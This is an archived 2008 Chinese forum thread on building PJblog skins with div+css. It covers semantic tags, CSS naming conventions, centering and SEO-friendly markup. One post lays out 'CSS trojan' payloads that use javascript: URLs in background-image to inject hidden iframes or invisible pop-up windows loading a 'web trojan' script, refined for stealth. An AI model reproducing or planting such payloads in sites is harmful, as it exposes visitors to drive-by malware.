[PJblog^3]技术支持论坛 - PJBLOG SUPPORT FORUM » 『界面风格使用/讨论区』 » 『界面风格模板/皮肤制作教程区』 » ★最完整的div+css技术 pj皮肤制作入门知识★

查看完整版本: ★最完整的div+css技术 pj皮肤制作入门知识★

ilank 2008-2-18 12:43

★最完整的div+css技术 pj皮肤制作入门知识★

常用代码结构：

div：主要用于布局，分割页面的结构
ul/ol：用于无序/有序列表
span：没有特殊的意义，可以用作排版的辅助，例如：引用内容
<li><span>(4.23)</span>随心生活</li>
然后在css中定义span为右浮动，实现了日期和标题分两侧显示的效果

h1-h6：标题
h1-h6 根据重要性依次递减
h1位最重要的标题

label：为了使你的表单更有亲和力而且还能辅助表单排版的好东西，例如：
引用内容
<label for="user-password">密　码</label>
<input type="password" name="password" id="user-password" />
fieldset & legend：fildset套在表单外，legend用于描述表单内容。例如：
<form>
<fieldset>
<legend>title</legend>
<label for="user-password">密　码</label>
<input type="password" name="password" id="user-password" />
</fieldset>
</form>
dl,dt,dd：当页面中出现第一行为类似标题/简述，然后下面为详细描述的内容时应该使用该标签，例如：
引用内容
<dl>
<dt>什么是CSS?</dt>
<dd>CSS就是一种叫做样式表（stylesheet）的技术。也有的人称之为层叠样式表（Cascading Stylesheet）。<dd>
<dt>什么是XHTML？</dt>
<dd>XHTML是一个基于XML的置标语言，看起来与HTML有些想像，只有一些小的但重要的区别。可以这样看，XHTML就是一个扮演着类似 HTML的角色的XML。本质上说，XHTML是一个桥接（过渡）技术，结合了XML（有几分）的强大功能及HTML（大多数）的简单特性。</dd>
</dl>

C #content

S #subcol

M #maincol

X #xcol

这是纵向布局的XHTML结构，c-smx表示网页有三个纵栏, c-sm表示有两个纵栏, c-mx表示有两个纵栏其中一个是附属的, c-m表示一个纵栏。

其中在三纵栏的布局需要分为两层第一层是#subcol与#main第二层是#main中的#maincol与#xcol。

自定义命名：
根据w3c网站上给出的,最好是用意义命名
比如：是重要的新闻高亮显示（像红色）
有两种

引用内容
.red{color:red}
.important-news{color:red}

很显然第二种传达的意义更加明确,所以尽量不要用意义不明确的作为自己自定义的名字

常用的CSS命名规则:

头：header　　内容：content/container　　尾：footer　　导航：nav　　侧栏：sidebar

栏目：column　　页面外围控制整体布局宽度：wrapper　　左右中：left right center

登录条：loginbar　　标志：logo　　广告：banner　　页面主体：main　　热点：hot

新闻：news　　下载：download　　子导航：subnav　　菜单：menu

子菜单：submenu　　搜索：search　　友情链接：friendlink　　页脚：footer

版权：copyright　　滚动：scroll　　内容：content　　标签页：tab

文章列表：list　　提示信息：msg　　小技巧：tips　　栏目标题：title

加入：joinus　　指南：guild　　服务：service　　注册：regsiter

状态：status　　投票：vote　　合作伙伴：partner

(二)注释的写法:

　　/* Footer */

　　内容区

　　/* End Footer */

(三)id的命名:

(1)页面结构

　　容器: container　　页头：header　　内容：content/container

　　页面主体：main　　页尾：footer　　导航：nav

　　侧栏：sidebar　　栏目：column　　页面外围控制整体布局宽度：wrapper

　　左右中：left right center

(2)导航

　　导航：nav　　主导航：mainbav　　子导航：subnav

　　顶导航：topnav　　边导航：sidebar　　左导航：leftsidebar

　　右导航：rightsidebar　　菜单：menu　　子菜单：submenu

　　标题: title　　摘要: summary

(3)功能

　　标志：logo　　广告：banner　　登陆：login　　登录条：loginbar

　　注册：regsiter　　搜索：search　　功能区：shop

　　标题：title　　加入：joinus 　状态：status　　按钮：btn

　　滚动：scroll　　标签页：tab　　文章列表：list　　提示信息：msg

　　当前的: current　　小技巧：tips　　图标: icon　　注释：note

　　指南：guild　服务：service　　热点：hot　　新闻：news

　　下载：download　　投票：vote　　合作伙伴：partner

　　友情链接：link　　版权：copyright

(四)class的命名:

(1)颜色:使用颜色的名称或者16进制代码,如

　　.red { color: red; }

　　.f60 { color: #f60; }

　　.ff8600 { color: #ff8600; }

(2)字体大小,直接使用’font+字体大小’作为名称,如

　　.font12px { font-size: 12px; }

　　.font9pt {font-size: 9pt; }

(3)对齐样式,使用对齐目标的英文名称,如

　　.left { float:left; }

　　.bottom { float:bottom; }

(4)标题栏样式,使用’类别+功能’的方式命名,如

　　.barnews { }

　　.barproduct { }

注意事项::

　　1.一律小写;

　　2.尽量用英文;

　　3.不加中杠和下划线;

　　4.尽量不缩写，除非一看就明白的单词.

　　主要的 master.css　　模块 module.css　　基本共用 base.css

　　布局，版面 layout.css　　主题 themes.css　　专栏 columns.css

　　文字 font.css　　表单 forms.css　　补丁 mend.css　　打印 print.css

[[i] 本帖最后由 ilank 于 2008-2-18 20:26 编辑 [/i]]

ilank 2008-2-18 12:46

CSS挂马代码

CSS挂马代码

网上流行的:
body
以下是引用片段：
{
background-image: url('javascript:document.write("<Iframe src=http://192.168.0.5/test.htm width=0 height=0></iframe>")')
}

//此方法会使主页不正常.返回一片空白.
用弹窗.
以下是引用片段：
body
{
background-image: url('javascript:open("http://192.168.0.5/test.htm")')
}

//弹出一个框.难看易被发现.
改进一下:

以下是引用片段：
body
{
background-image: url(javascript:open('http://192.168.0.5/test.htm','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no'))
}

test.htm里面的代码,a.js为你的网马,弹出一个不可见的窗口,并在5秒自动后关闭没提示:
以下是引用片段：

<script src="a.js"></script>
<script>
window.opener=null;setTimeout("window.close();",5000);
</script>
a.js内容:
document.write('<Iframe src="http://192.168.0.5/calc.htm"></iframe>');

ilank 2008-2-18 12:51

精品css层居中学习

[code]<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title></title>
<style type="text/css">
body{
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
margin: 0;
padding: 0;/*--for opera--*/
}

#layout{
position: absolute;/*--绝对定位--*/
top: 50%;
left: 50%;
margin-top: -240px;/*--div高度的一半--*/
margin-left: -320px;/*--div宽度的一半--*/
width: 640px;
height: 480px;
background: #ECECEC;
}

pre{
padding: 15px;
}
</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>

<body>
<div id="layout"><pre>
如果把屏幕中点设為坐标原点（0 0），X的正方向是屏幕的右边，Y的正方向屏幕的上边。
那麼在已知BOX宽度和高度的情况下，设BOX的属性為绝对定位，top：50% left：50%，这样的话，
BOX的左上角就在坐标原点（0 0），设margin-left：-320px(宽度的一半), 左上角的坐标（-320 0），
再设margin-top：-240px（高度的一半），左上角的坐标现在是（-320 240），相对原点来说， BOX是完全居中了，
四个顶点的值分比别是（320 240）Ⅰ，（-320 240）Ⅱ，（-320 -240）Ⅲ ，（320 -240）Ⅳ。
“开始
body{
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
margin: 0;
padding: 0;/*--for opera--*/
}

#layout{
position: absolute;/*--绝对定位--*/
top: 50%;
left: 50%;
margin-top: -240px;/*--div高度的一半--*/
margin-left: -320px;/*--div宽度的一半--*/
width: 640px;
height: 480px;
background: #ECECEC;
}

pre{
padding: 15px;
}
结束”
</pre></div>
</body>
</html>[/code]

ilank 2008-2-18 12:57

总结对搜索引擎友好的网页设计代码

总结对搜索引擎友好的网页设计代码

收集的一些对搜索引擎友好的网页设计代码，虽然不多，但很实用

1.面中尽量少用<span>标签，如果要用，用在不重要的位置，比如时间<span>2008-12-24</span>这种与页面内容无关的文字上面

2 如果首页链接中出现target="_blank"标签比较多，最好在HEAD中设置<base target="_blank" />,然后把页面中链接的所有target="_blank"去掉

3 链接里最好不要写class="",如果一定要定义则在链接的外面,<p class=""><a href="xx.htm">内容</p>这种方式来定义,最优化的<a href="xx.htm">内容</a>

4 页面设计和规划的时候，各栏目分类，分类，的设计顺序应该为分类 -> 分页，而且在设计时候。这部分内容尽量靠顶部，就是在切成源码的时候，在源码里的顺序最好在顶部。

5 只要是重要链接。必须为静态页面。否则会出理搜索引擎不抓取的问题。

6 页面设计时候尽量能够考虑到制作时候源码的简洁性,如下代码：
<li><a href="#" >XXXX</a><span><a href="#" >评论</a>(<span>0</span>)</span></li>
在设计时候因为评论后面跟的那个(0)因为变色的原因，需要专门写个<span>来突出它。但这个0并不是很重要，用户在看链接的时候甚至会忽略它的存在。

ilank 2008-2-18 13:05

css+div网站忧化

css+div网站忧化

CSS DIV设计的网站是按照W3C标准的，如果一个站点完全是CSS+div制作的，那么你网站的SEO（搜索引擎优化）工作已经完成了30%！为什么会这么说？SEO其他方面在哪？

CSS DIV设计的网站是按照W3C标准的，如果一个站点完全是CSS+div制作的，那么你网站的SEO（搜索引擎优化）工作已经完成了30%！为什么会这么说？SEO其他方面在哪？好，请接着我的思路往下看：

css div网站相当30%的SEO工作

1、css div网站遵循“网页结构、表现、行为分离，互不干涉抢功”理念

且不说SEO，其实按照这个理念建设起来的网站，网页打开速度会明显的加快。因为按照这个理念，网页将会分成html、css、js三种类型的文件，而css、js又是可以缓存的，所以浏览一个这样的网页其实就是下载html代码就行了，速度当然变快。

我们先看看SEO都做啥：
a.网页META标签会添加的比较齐全，如keywords、description、robots；
b.被搜引擎抓取的内容，代码比较精简，非内容代码大大减少，文件小；
c.文本会比较靠前。几乎都在200字内就可以搜索到正文，重要内容；
d.不会出现表格那样多层嵌套的问题。

2、修饰性图片文本替换，js、flash文字图片还原

有些网站为了追求炫眼效果，采用了图片按钮，图片新闻flash切换，文本的js跑到效果……这样大大将原本属于图片，文字链接的代码变成了搜索引擎读不懂的js代码、flash，或者是直接插入原本不是内容的修饰性图片替换了文字。如果这些刚好又包含了热门关键字，那么搜索收录量将损失很大。
修饰性图片文本替换：就是说将不是内容而是修饰的图片变成底图显示，不干扰搜索引擎，让它忽略它。而有增加文字，之后使用css隐藏掉，这样也增加了可以搜索的文字。常见使用于logo，按钮，菜单。
js、flash文字图片还原：这是我近来提出来的一个思路，还没有广泛给大家知道的方法（呵呵，大家接不接受还是个问题）：将js，flash显示的内容转为html，之后使用js读取html，传递参数启动原来的效果、并且隐藏html，只是比原来增加了几个步骤。详细可以参考我写的文章：如何减少 JS对搜索的负面影响。
3、W3C要求必须添加链接标签的title、图片标签的alt属性

这样的话，所有的a标签都会规范的添加有title文本，img有alt文本。而不是等到要优化的时候临时的把几个含有关键字的链接（描文本）添加上title，图片加好alt。CSS+div不是为了SEO优化而添加title、alt，而是为了网页亲和力添加它们。

4、合理安排使用<h1>~<h6>，文本加粗，斜体，下划线

这是语义化标签都必须做到的一步。所以做到了CSS+div，这个问题也会在不知不觉中做到了。

5、网页标准可以随时将重要的内容调前，之后使用css重新定位。

例如页面效果图中中间的文字比较重要，可以先把重要的内容放在左边的代码的前面，方便搜索引擎，之后使用css将它调会到效果图的位置。

6、网页标准提到的好处

更少的代码和组件，容易维护
带宽要求降低（代码更简洁），成本降低。
更容易被搜寻引擎搜索到
改版方便，不需要变动页面内容
提供打印版本而不需要复制内容
提高网站易用性。
SEO的另一半工作是编辑，编程

编辑涉及的工作有：频道栏目的设计、取名，页面的布局（关键词的位置安排），创建栏目时，录稿时，文件夹，文件的取名；关键词管理，了解当前使用的关键词流行度，竞争度；专题、当前热门的关注；录稿时关键词的提炼、图片alt的插入习惯；与同类型网站的交流，交换链接……

编程涉及的工作有：页面实现静态化；URL实现伪静态，使用re_write重写技术；本站系统搜索中关键词的搜索功能，实现网站各个页面的关键词网；维护服务器，稳定服务器。评论的广告过滤；自动将关键词加粗、添加含有title关键字的链接；避免网站过多死链接，提供死链接自动删除或修复功能；相关文章取文章链接格式：先是关键词相同的关连，二关键字与标题的关连，文章内容与关键词关连。……

所以制作完成CSS+div的网页后，你只是完成了30%的SEO工作，还有另外70%需要编辑，编程共同完成。其它的作弊，或者是刻意重复关键词，body之间代码的开始或结束增加关键词出现机会。

制作、编程是SEO的“打地基”

没有好的制作，符合搜索优化的代码结构，那么无论编辑的水平怎么样，搜索引擎也不会有好效果。但也可以看到：“地基”打好以后，随着时间的增长，编辑的作用效果就会原来越明显，因为地基不需要经常变动的。一动就是伤筋骨的“大工程了”。

不符合标准的网站，赶紧网站重构吧

Christopher Schmitt

更方便搜索引擎的搜索。用只包含结构化内容的HTML代替嵌套的标签，搜索引擎将更有效地搜索到你的内容，并可能给你一个较高的评价(ranking)。
所以说辛苦的学习SEO，还不如来一次网站重构，使用CSS+div做网站，布局好网站的xhtml、css、js，选好程序，那么剩下的工作就是编辑。SEO能否实现最好的优化，这就要看编辑的能力和水平了。

ilank 2008-2-18 13:05

div+css排版结构如下

div+css排版结构如下

DIV结构如下：

　　│body {}　/*这是一个HTML元素，具体我就不说明了*/

　　└#Container {}　/*页面层容器*/

　　　　　├#Header {}　/*页面头部*/

　　　　　├#PageBody {}　/*页面主体*/

　　　　　│　├#Sidebar {}　/*侧边栏*/

　　　　　│　└#MainBody {}　/*主体内容*/

　　└#Footer {}　/*页面底部*/

ilank 2008-2-18 13:07

w3c技术架构介绍

w3c技术架构介绍
原文：httpwww.w3.orgConsortiumtechnology
原作者：w3c
翻译：阿宏

W3C技术架构图描绘了一个两层的模型：万维网体系结构（被标注为“One Web”）建立在互联网(Interner)体系结构之上。图中丰富的Web层显示了W3C关心的领域和发展的技术。

Web体系结构被描绘成一系列的层，每一层都建立在另一层之上。从底至顶依次为：

URI/IRI, HTTP
Web Architectural Principles
XML Infosets; RDF(S) Graphs
XML, Namespaces, Schemas, XQuery/XPath, XSLT, DOM, XML Base, XPointer, RDF/XML, SPARQL
在顶层包含着六个框，分别与W3C主要的活动组相对应：Web Applications, Mobile, Voice, Web Services, Semantic Web, and Privacy。

"Interaction"（“交互”）框中罗列着：XHTML, SVG, CDF, SMIL, XForms, CSS, 和 WCID.
"Mobile"（“移动”）框中罗列着 XHTML Basic, Mobile SVG, SMIL Mobile, XForms Basic, CSS Mobile, MWI BP.
"Voice"（“语音”）框中罗列着 VoiceXML, SRGS, SSML, CCXML, and EMMA
"Web Services"（“Web服务”）框中罗列着 SOAP, XOP, WSDL, WS-CDL, and WS-A.
"Semantic Web"（“语义的Web”）框中罗列着 OWL, SKOS, and RIF.
"Privacy"（“保密”）框中罗列着 P3P, APPEL, XML Encryption, XML Signature, and XKMS
一个橙色的横条把这些领域联系在一起：Web Accessibility（Web可访问性）, Internationalization（国际化）, Mobile Access（移动访问）, Device Independence（设备独立）, and Quality Assurance（质量保证）。

这个例图展示了万维网的基础框架及 W3C 的工作重点。

URI、HTTP、XML 和 RDF 的基础支持著五个方面的工作。无障碍网页、国际化、设备无关和质量管理等主题已融入了 W3C 的各项技术之中。

W3C正致力把万维网从最初的设计 (基本的 HTML、URIs 和 HTTP) 转变为未来所需的模式。 W3C 的技术将帮助未来万维网成为信息世界中有高稳定性、可提升和强适应性的基础框架。

tangzhehao 2008-2-18 13:07

超DIAO!

chebaoli 2008-3-25 21:46

非常不错
学到很多东西

佑曦 2008-3-25 21:57

好强大....改天认真看看!

fyuehack 2008-3-25 21:58

只能用一个字形容:精辟,简洁,通俗易懂!
嘎嘎

Chen.Y 2008-3-25 22:07

好东西值得收藏

s71314 2008-3-31 13:25

1 也怕苦嗯

网络小新 2008-3-31 21:26

我但是学到了挂木马!

阿金 2008-4-5 15:11

只想好好学:)

myndrzl 2008-4-18 11:05

顶下,很不错的学习资料

yukman 2008-5-4 00:54

学到不少东西，THX

魔之左手 2008-5-31 15:05

很强大~~很受益~~

黑色联想 2008-6-4 23:04

谢谢谢谢，学到了很多的东西

盒子 2008-6-10 20:56

真不错就是排版有些单调有点区分不开不过还是感谢LZ

页: [1]

查看完整版本: ★最完整的div+css技术 pj皮肤制作入门知识★